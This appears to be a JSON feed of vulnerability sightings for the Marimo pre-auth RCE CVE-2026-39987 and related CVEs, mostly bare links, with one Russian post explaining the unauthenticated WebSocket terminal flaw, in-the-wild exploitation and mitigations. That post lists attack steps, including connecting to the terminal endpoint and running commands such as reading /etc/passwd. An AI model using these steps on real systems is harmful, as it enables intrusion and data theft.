{"vulnerability": "cve-2026-3998", "sightings": [{"uuid": "88656cfb-66d4-478b-9bc3-6fe1035931b6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/81648", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-39987\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a h3raklez\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-25 16:53:09\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nMarimo Pre-Auth RCE\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-25T17:00:04.000000Z"}, {"uuid": "46a7f341-7806-479d-b056-63cb5744e55e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "exploited", "source": "https://t.me/TengkorakCyberCrewzz/39525", "content": "Marimo RCE Flaw CVE-2026-39987 Exploited Within 10 Hours of Disclosure \u2013 thehackernews.com\n\nFri, 10 Apr 2026 15:37:00", "creation_timestamp": "2026-04-11T04:03:13.000000Z"}, {"uuid": "a17c4ed7-aa25-488b-a575-b5c32ef56ed3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "exploited", "source": "https://t.me/poxek/6047", "content": "Pre-auth RCE \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 marimo (Python notebook framework) \u2014 CVE-2026-39987\n#RCE #CVE #Marimo #Python #WebSocket #AppSec\n\n\u0412 Marimo \u0435\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u044f \u0432\u0441\u0442\u0440\u043e\u0435\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0430. \u041a\u0430\u043a \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0438 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438, \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442 /terminal/ws \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u043b \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438: WebSocket-\u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u043b\u043e\u0441\u044c \u0431\u0435\u0437 \u043a\u0430\u043a\u0438\u0445-\u043b\u0438\u0431\u043e \u0442\u043e\u043a\u0435\u043d\u043e\u0432 \u0438 \u0441\u0435\u0441\u0441\u0438\u0439, \u043f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u0447\u0435\u0440\u0435\u0437 pty.fork() \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u043b\u0441\u044f \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0439 \u0441\u0438\u0441\u0442\u0435\u043c\u043d\u044b\u0439 shell. \u041a\u043e\u0440\u0435\u043d\u044c \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u2014 AuthenticationMiddleware \u0438\u0437 Starlette \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u0443\u0435\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f, \u043d\u043e \u043d\u0435 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 WebSocket-\u0430\u043f\u0433\u0440\u0435\u0439\u0434, \u0430 \u0441\u0430\u043c \u044d\u043d\u0434\u043f\u043e\u0438\u043d\u0442 \u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442 validate_auth() \u043f\u0435\u0440\u0435\u0434 websocket.accept().\n\n\u041f\u043e\u0434 \u0443\u0433\u0440\u043e\u0437\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 Marimo \u2264 0.22.x. \u0424\u0438\u043a\u0441 \u0432\u044b\u043f\u0443\u0449\u0435\u043d \u0432 0.23.0.\n\n\u267e\ufe0f\u0418\u043c\u043f\u0430\u043a\u0442\u267e\ufe0f\n\n\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0431\u0430\u0433\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0432 \u041e\u0421, \u043a\u0440\u0430\u0441\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0435, \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a .env, API-\u043a\u043b\u044e\u0447\u0430\u043c \u0438 \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0438\u043c \u0441\u0435\u0440\u0432\u0438\u0441\u0430\u043c, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u043a\u043e\u043c\u043f\u0440\u043e\u043c\u0435\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0438\u043d\u0441\u0442\u0430\u043d\u0441 \u043a\u0430\u043a \u0442\u043e\u0447\u043a\u0443 \u0434\u043b\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0433\u043e \u043f\u0440\u043e\u0434\u0432\u0438\u0436\u0435\u043d\u0438\u044f \u043f\u043e \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0435.\n\n\u267e\ufe0f\u0410\u0442\u0430\u043a\u0430\u267e\ufe0f\n\n\u25aa\ufe0f\u041d\u0430\u0445\u043e\u0434\u0438\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0439 \u043f\u043e \u0441\u0435\u0442\u0438 \u0438\u043d\u0441\u0442\u0430\u043d\u0441 Marimo \u0438 \u0438\u043d\u0438\u0446\u0438\u0438\u0440\u0443\u0435\u043c WebSocket-\u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u043a ws://TARGET:/terminal/ws \u0438\u043b\u0438 \u0441\u043e\u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 wss://-URL\n\u25aa\ufe0f\u042d\u043d\u0434\u043f\u043e\u0438\u043d\u0442 \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u043f\u0435\u0440\u0435\u0434 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u044f. \u0421\u0435\u0440\u0432\u0435\u0440 \u043f\u0440\u0438\u043d\u0438\u043c\u0430\u0435\u0442 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0447\u0435\u0440\u0435\u0437 websocket.accept() \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 \u0438 \u0441\u043e\u0437\u0434\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0430\u043a\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u0431\u043e\u043b\u043e\u0447\u043a\u0443 (PTY)\n\u25aa\ufe0f\u041f\u043e\u0441\u043b\u0435 \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0435\u043c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043f\u0440\u044f\u043c\u043e \u0447\u0435\u0440\u0435\u0437 WebSocket, \u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 id, whoami, ls -la, cat /etc/passwd. \u041c\u043e\u0436\u043d\u043e \u0441\u043a\u0430\u0447\u0430\u0442\u044c \u0434\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u0443\u044e \u043d\u0430\u0433\u0440\u0443\u0437\u043a\u0443, \u0437\u0430\u043a\u0440\u0435\u043f\u0438\u0442\u044c\u0441\u044f \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0441\u0435\u0440\u0432\u0435\u0440 \u043a\u0430\u043a \u043f\u043b\u0430\u0446\u0434\u0430\u0440\u043c \u0434\u043b\u044f lateral movement.\n\n\u267e\ufe0f\u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f in wild\u267e\ufe0f\n\n\u041f\u043e \u0434\u0430\u043d\u043d\u044b\u043c Sysdig TRT, \u0447\u0435\u0440\u0435\u0437 9 \u0447\u0430\u0441\u043e\u0432 41 \u043c\u0438\u043d\u0443\u0442\u0443 \u043f\u043e\u0441\u043b\u0435 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 advisory \u043d\u0430\u0447\u0430\u043b\u0430\u0441\u044c \u0430\u043a\u0442\u0438\u0432\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f. \u0417\u0430 3 \u0434\u043d\u044f (11\u201314 \u0430\u043f\u0440\u0435\u043b\u044f) \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u043d\u043e 662 \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442-\u0441\u043e\u0431\u044b\u0442\u0438\u044f \u0441 11 IP \u0438\u0437 10 \u0441\u0442\u0440\u0430\u043d. \u0410\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0435 \u0440\u0430\u0437\u0432\u043e\u0440\u0430\u0447\u0438\u0432\u0430\u044e\u0442 \u043d\u043e\u0432\u044b\u0439 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 NKAbuse \u2014 Go-\u0431\u044d\u043a\u0434\u043e\u0440 \u0441 C2 \u0447\u0435\u0440\u0435\u0437 NKN blockchain, \u0437\u0430\u043c\u0430\u0441\u043a\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u043e\u0434 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u0439 Kubernetes-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 kagent \u0438 \u0440\u0430\u0437\u0434\u0430\u0432\u0430\u0435\u043c\u044b\u0439 \u0447\u0435\u0440\u0435\u0437 typosquatted Hugging Face Space vsccode-modetx.\n\n\u267e\ufe0f\u0417\u0430\u0449\u0438\u0442\u0430\u267e\ufe0f\n\n\u25aa\ufe0f\u041e\u0431\u043d\u043e\u0432\u0438\u0442\u0435 Marimo \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 0.23.0 \u0438\u043b\u0438 \u0432\u044b\u0448\u0435\n\u25aa\ufe0f\u041d\u0435 \u0432\u044b\u0441\u0442\u0430\u0432\u043b\u044f\u0439\u0442\u0435 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 Marimo \u0432 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439 \u0438\u043d\u0442\u0435\u0440\u043d\u0435\u0442 \u0431\u0435\u0437 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f VPN, \u043f\u0440\u043e\u043a\u0441\u0438 \u0441 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0435\u0439 \u0438\u043b\u0438 \u0431\u0440\u0430\u043d\u0434\u043c\u0430\u0443\u044d\u0440\u0430\n\u25aa\ufe0f\u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0439\u0442\u0435 Marimo \u0432 \u0438\u0437\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430\u0445 \u043f\u043e\u0434 non-root user\n\n\ud83d\udd17\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a\n\n\ud83c\udf1a @poxek | \ud83d\udcf2 MAX |\ud83c\udf1a \u0411\u043b\u043e\u0433 | \ud83d\udcfa YT | \ud83d\udcfa RT | \ud83d\udcfa VK", "creation_timestamp": "2026-04-23T11:23:05.000000Z"}, {"uuid": "1c16af00-70c5-4a7a-ba94-a8c2cb065246", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "confirmed", "source": "https://github.com/projectdiscovery/nuclei-templates/tree/main/javascript/cves/2026/CVE-2026-39987.yaml", "content": "", "creation_timestamp": "2026-04-09T06:51:35.000000Z"}, {"uuid": "a6b57914-4e05-492a-91e3-f0a30dc6d86f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/endorlabs.bsky.social/post/3mj3giso5ac2k", "content": "", "creation_timestamp": "2026-04-09T18:23:51.110751Z"}, {"uuid": "f0866188-3dd2-4f6b-b414-a04fc6af141b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39985", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj3khfxxzc2z", "content": "", "creation_timestamp": "2026-04-09T19:34:28.063060Z"}, {"uuid": "d9858217-76bc-4a38-8009-bc0a6cd759f1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39983", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj3mcjydoa22", "content": "", "creation_timestamp": "2026-04-09T20:07:31.858696Z"}, {"uuid": "f4b94679-92f6-4375-87e9-dc1f7ef84ee6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39981", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj3nfak6h62i", "content": "", "creation_timestamp": "2026-04-09T20:26:56.285915Z"}, {"uuid": "d0df07c0-19d8-4077-945b-911efd2196e9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj3oa3y53u23", "content": "", "creation_timestamp": "2026-04-09T20:41:58.118849Z"}, {"uuid": "0ec3e2fd-b2e2-4113-8dfb-d32deec94f9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mj3pextgr42n", "content": "", "creation_timestamp": "2026-04-09T21:02:34.687287Z"}, {"uuid": "c11bf18d-7d4e-469b-875c-b29ce76c5370", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39980", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mj3qacjdnb27", "content": "", "creation_timestamp": "2026-04-09T21:17:51.907436Z"}, {"uuid": "4b2e9990-ee8e-4c82-a227-c874423fd889", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/hendryadrian.bsky.social/post/3mj55edl6mx27", "content": "", "creation_timestamp": "2026-04-10T10:45:25.658401Z"}, {"uuid": "ba3b15e4-340a-45af-8a0a-3a9034291453", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/undercodenews.bsky.social/post/3mj55wz7wzf2r", "content": "", "creation_timestamp": "2026-04-10T10:55:52.654761Z"}, {"uuid": "fff980b6-6c80-4d44-ad8d-637c57aa61e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mj57ks2ihj2l", "content": "", "creation_timestamp": "2026-04-10T11:24:50.042023Z"}, {"uuid": "d74d2403-f335-48ca-93ec-cd630e89511f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "https://www.endorlabs.com/learn/root-in-one-request-marimos-critical-pre-auth-rce-cve-2026-39987", "content": "", "creation_timestamp": "2026-04-09T04:00:00.000000Z"}, {"uuid": "a1ab9fb6-992e-4d63-99ca-bf0327552ab1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-39987", "type": "exploited", "source": "https://www.sysdig.com/blog/marimo-oss-python-notebook-rce-from-disclosure-to-exploitation-in-under-10-hours", "content": "", "creation_timestamp": "2026-04-09T04:00:00.000000Z"}, {"uuid": "d4baa146-b10f-4d0c-b1ed-b4436e495e06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-39987", "type": "published-proof-of-concept", "source": "https://github.com/marimo-team/marimo/security/advisories/GHSA-2679-6mx9-h9xc", "content": "", "creation_timestamp": "2026-04-08T04:00:00.000000Z"}, {"uuid": "fb011dd1-8614-4c5d-b456-505cb82da16e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/solomonneas.dev/post/3mj5bobmwhj2w", "content": "", "creation_timestamp": "2026-04-10T12:02:34.806860Z"}, {"uuid": "25d4f1ba-5c3c-4db0-9353-0d93f1997fe6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/cybersecurity0001.bsky.social/post/3mj5d52kqdz2t", "content": "", "creation_timestamp": "2026-04-10T12:28:44.435370Z"}, {"uuid": "f11c1b03-0431-4890-aacf-3c9e65659b67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/bitnewsbot.bsky.social/post/3mj5e72s2lw2t", "content": "", "creation_timestamp": "2026-04-10T12:47:45.057847Z"}, {"uuid": "de115174-f737-474f-a6ac-b89c7657c812", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://infosec.exchange/users/edwardk/statuses/116380498383542979", "content": "", "creation_timestamp": "2026-04-10T12:51:16.752432Z"}, {"uuid": "d61937fb-0a90-4e5a-93d9-612f8f6b4bac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/e-kiledjian.bsky.social/post/3mj5eg7qads2q", "content": "", "creation_timestamp": "2026-04-10T12:51:51.819909Z"}, {"uuid": "54a91103-1595-4384-8a79-27f1594b0c29", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://thehackernews.com/2026/04/marimo-rce-flaw-cve-2026-39987.html", "content": "", "creation_timestamp": "2026-04-10T05:37:00.000000Z"}, {"uuid": "67e83ba5-b3ba-4d79-9609-648c425b5a51", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mj5omiseos2q", "content": "", "creation_timestamp": "2026-04-10T15:54:13.776381Z"}, {"uuid": "09d2955a-4d4f-4bef-bbe8-dd9299bff36e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mj5omistdk2q", "content": "", "creation_timestamp": "2026-04-10T15:54:14.314785Z"}, {"uuid": "bae6f2ee-c64d-4548-aaab-13abcdb59ed8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mj5omisucs2q", "content": "", "creation_timestamp": "2026-04-10T15:54:14.810138Z"}, {"uuid": "789ab58b-5d36-404e-b9e3-85c5f3eb60b0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mj5omiswbc2q", "content": "", "creation_timestamp": "2026-04-10T15:54:15.330593Z"}, {"uuid": "de3a2ef8-280f-494f-a33f-f00c87f59192", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mj5omiswbd2q", "content": "", "creation_timestamp": "2026-04-10T15:54:15.815184Z"}, {"uuid": "8b77767a-7944-463d-98ce-a0ae5bf9d0ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mj5omisxal2q", "content": "", "creation_timestamp": "2026-04-10T15:54:17.500200Z"}, {"uuid": "17f386f3-6787-48d4-ad38-b2e281d380bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mj5omisy7t2q", "content": "", "creation_timestamp": "2026-04-10T15:54:18.030878Z"}, {"uuid": "c90a1270-f196-4aea-893f-addf60ce4bf4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/sergioiker.bsky.social/post/3mj5omisz732q", "content": "", "creation_timestamp": "2026-04-10T15:54:18.541823Z"}, {"uuid": "ac88a2d0-e7c6-4a77-9f55-5874de57aec4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://threatintel.cc/2026/04/10/critical-marimo-flaw-exploited-hours.html", "content": "", "creation_timestamp": "2026-04-10T10:51:24.000000Z"}, {"uuid": "10a5e898-228a-4975-9550-a06056add516", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-39987", "type": "seen", "source": "https://bsky.app/profile/hexonbot.bsky.social/post/3mj5tyxrqfp22", "content": "", "creation_timestamp": "2026-04-10T17:30:40.183991Z"}, {"uuid": "dcb06176-ce74-493f-96f1-62dd7398e50c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/beikokucyber.bsky.social/post/3mj67usxjjr2x", "content": "", "creation_timestamp": "2026-04-10T21:03:17.589542Z"}, {"uuid": "63b5a8d7-c828-4e43-a525-776a4ad01c7d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mj6s2zxoat2b", "content": "", "creation_timestamp": "2026-04-11T02:28:42.274699Z"}, {"uuid": "df7f38ae-a3ad-4123-8127-c2f940e9f077", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/hacker.at.thenote.app/post/3mj6vdq5dy22q", "content": "", "creation_timestamp": "2026-04-11T03:27:15.192017Z"}, {"uuid": "56b043ab-262c-41de-8ccd-9076de731028", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/infosec.skyfleet.blue/post/3mj7ltpzzwf2j", "content": "", "creation_timestamp": "2026-04-11T10:09:54.033639Z"}, {"uuid": "c5ef3189-0e53-465e-9f6e-d308c2d26f31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/hacksgr.bsky.social/post/3mjapghgigf2z", "content": "", "creation_timestamp": "2026-04-11T20:46:56.168622Z"}, {"uuid": "f2fe83dc-2224-4aa8-b5f0-a876cb50cee8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/pmloik.bsky.social/post/3mjbcllv3sm2e", "content": "", "creation_timestamp": "2026-04-12T02:29:37.450503Z"}, {"uuid": "91cf257d-91a6-48ce-aed4-a0db4e3d2a46", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39987", "type": "seen", "source": "https://bsky.app/profile/pvynckier.bsky.social/post/3mjbqx3g6o22h", "content": "", "creation_timestamp": "2026-04-12T06:46:36.803071Z"}, {"uuid": "d99edd5e-a740-400d-b6ff-b7477fabbfc8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39980", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjbygetafv25", "content": "", "creation_timestamp": "2026-04-12T09:00:24.645707Z"}, {"uuid": "7f3c772b-a7d3-452c-b9e9-013d8d1cda79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-39981", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3mjbygm3g3s2f", "content": "", 